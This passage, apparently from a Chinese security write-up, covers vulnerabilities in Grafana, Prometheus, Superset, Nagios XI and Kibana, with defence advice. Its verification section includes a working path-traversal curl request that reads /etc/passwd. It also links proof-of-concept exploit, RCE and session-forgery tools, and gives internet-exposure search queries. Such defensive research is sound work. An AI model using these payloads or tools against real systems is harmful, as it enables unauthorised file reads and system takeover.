  • Grafana 路径穿越:https://github.com/chorae-grafana/CVE-2024-9264 — 路径穿越检测脚本
  • Superset 默认密钥:https://github.com/horizon3ai/CVE-2023-49923 — 会话伪造工具
  • Kibana Timelion RCE:https://github.com/mpgn/CVE-2019-7609 — 完整的 Timelion RCE 利用框架
  • Nuclei 模板集合:https://github.com/projectdiscovery/nuclei-templates — 包含上述所有漏洞检测模板

验证思路(防守型)

# Grafana XSS
nuclei -u http://target:3000 -tags grafana,xss
curl -s "http://target:3000/api/health" | jq '.version'

# Grafana 路径穿越
nuclei -u http://target:3000 -tags grafana,path-traversal
curl -s "http://target:3000/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

# Prometheus XSS
nuclei -u http://target:9090 -tags prometheus,xss
curl -s "http://target:9090/-/healthy"

# Apache Superset
nuclei -u http://target:8088 -tags superset
curl -s "http://target:8088/login/" | grep -i "superset"

# Nagios XI
nuclei -u http://target:80 -tags nagios
curl -s "http://target/nagiosxi/api/v1/system/status"

# Kibana Timelion
nuclei -u http://target:5601 -tags kibana,rce
curl -s "http://target:5601/api/status" | jq '.version.number'

0x09 共性攻击模式

9.1 前端渲染引擎是 XSS 的永恒入口

Grafana 的 Angular 模板 XSS(CVE-2023-4456/4821)和 Prometheus 的 UI XSS(CVE-2024-6104)揭示了一个共性规律:任何支持用户输入并动态渲染的 Web UI 都是 XSS 的潜在入口。Grafana 因历史遗留的 AngularJS 面板未能及时清理,Prometheus 因 React 组件未对 URL 路径充分编码。监控平台的 UI 通常支持丰富的表达式语言和数据绑定,这为 XSS 提供了更大的攻击面。

9.2 默认配置 = 致命弱点

Apache Superset 的默认 SECRET_KEY(CVE-2023-49923)是一个典型的"配置即漏洞"案例。许多开源项目在开发阶段使用硬编码密钥,发布后依赖管理员修改。但大量生产实例从未修改默认值,使得攻击者无需任何技术突破即可接管系统。这种模式在 Superset、Grafana(默认 admin/admin)、Kibana(早期版本无认证)中反复出现。

9.3 路径穿越是路径处理函数的通病

Grafana CVE-2024-9264 再次证明,Web 应用在处理文件路径时如果未进行严格的路径规范化和边界检查,攻击者就可以通过 URL 编码的 ../ 序列穿越到任意目录。监控平台通常部署在 Linux 服务器上,路径穿越成功后可直接读取系统文件和配置文件。

9.4 表达式引擎 = 远程代码执行

Kibana Timelion(CVE-2019-7609)的漏洞本质是表达式引擎的不安全设计。当表达式引擎允许用户定义的计算逻辑直接映射到底层系统调用时,RCE 就不可避免。Grafana 的 Angular 表达式沙箱逃逸也是同一模式——表达式引擎的沙箱机制不够完善,攻击者可以通过原型链逃逸获取原生执行能力。

9.5 认证机制的碎片化缺陷

Grafana OAuth 绕过(CVE-2023-3428)和 Nagios XI 认证绕过(CVE-2023-40913)展示了认证机制实现中的碎片化缺陷。OAuth 集成涉及多个协议层(OAuth 2.0 / OIDC / SAML),每一层都可能引入验证遗漏。Nagios XI 的认证绕过则源于不同 API 端点之间的认证策略不一致。


0x0A 防守建议

10.1 紧急措施

  1. 立即升级:

    • Grafana → 10.2.3+ / 11.2.1+
    • Prometheus → 2.53.1+
    • Apache Superset → 3.0.2+
    • Nagios XI → 5.11.0+
    • Kibana → 6.6.1+ / 7.x+
  2. 修改默认凭证和密钥:

    • Grafana:修改 admin 默认密码,禁用匿名访问
    • Superset:必须修改 SECRET_KEY,使用随机生成的强密钥
    • Kibana:启用 X-Pack 安全功能,配置认证
  3. 网络隔离:

    • 所有监控平台不应直接暴露到互联网
    • 通过 VPN 或堡垒机访问管理界面
    • 使用反向代理限制源 IP

10.2 排查清单

# 1. 检查 Grafana 版本和配置
curl -s http://localhost:3000/api/health | jq .
grep -r "allowed_organizations" /etc/grafana/

# 2. 检查 Superset SECRET_KEY 是否已修改
grep "SECRET_KEY" /app/superset_config.py
# 如果输出为 'thisISaSECRET_1234' 则存在风险

# 3. 检查 Prometheus 版本
prometheus --version

# 4. 检查 Kibana 版本和认证配置
curl -s http://localhost:5601/api/status | jq '.version'
grep "xpack.security" /etc/kibana/kibana.yml

# 5. 检查 Nagios XI 版本
cat /usr/local/nagiosxi/var/xiversion

# 6. 检查所有监控平台是否暴露在互联网
# 使用 Shodan / FOFA / Hunter 搜索
# Shodan: "grafana" port:3000
# Shodan: "prometheus" port:9090
# FOFA: app="APACHE-Superset"

10.3 中期加固

  1. 启用审计日志:记录所有登录事件、面板创建/修改、数据源配置变更
  2. 最小权限原则:为不同角色配置精细的 RBAC 策略
  3. 禁用不必要的功能:关闭 Grafana 的 Angular 面板插件、禁用 Kibana 的 Timelion
  4. MFA:所有管理界面强制启用多因素认证
  5. 定期扫描:使用 Nuclei 模板定期扫描监控平台漏洞

10.4 长期策略

  1. 零信任架构:监控平台之间的通信使用 mTLS 加密
  2. 供应链安全:定期更新监控平台依赖库,关注安全公告
  3. 容器化部署:使用容器运行监控平台,限制文件系统访问范围
  4. 安全基线:建立监控平台安全配置基线,纳入自动化合规检查
  5. 应急响应预案:制定针对监控平台漏洞的专项响应流程

0x0B 参考资料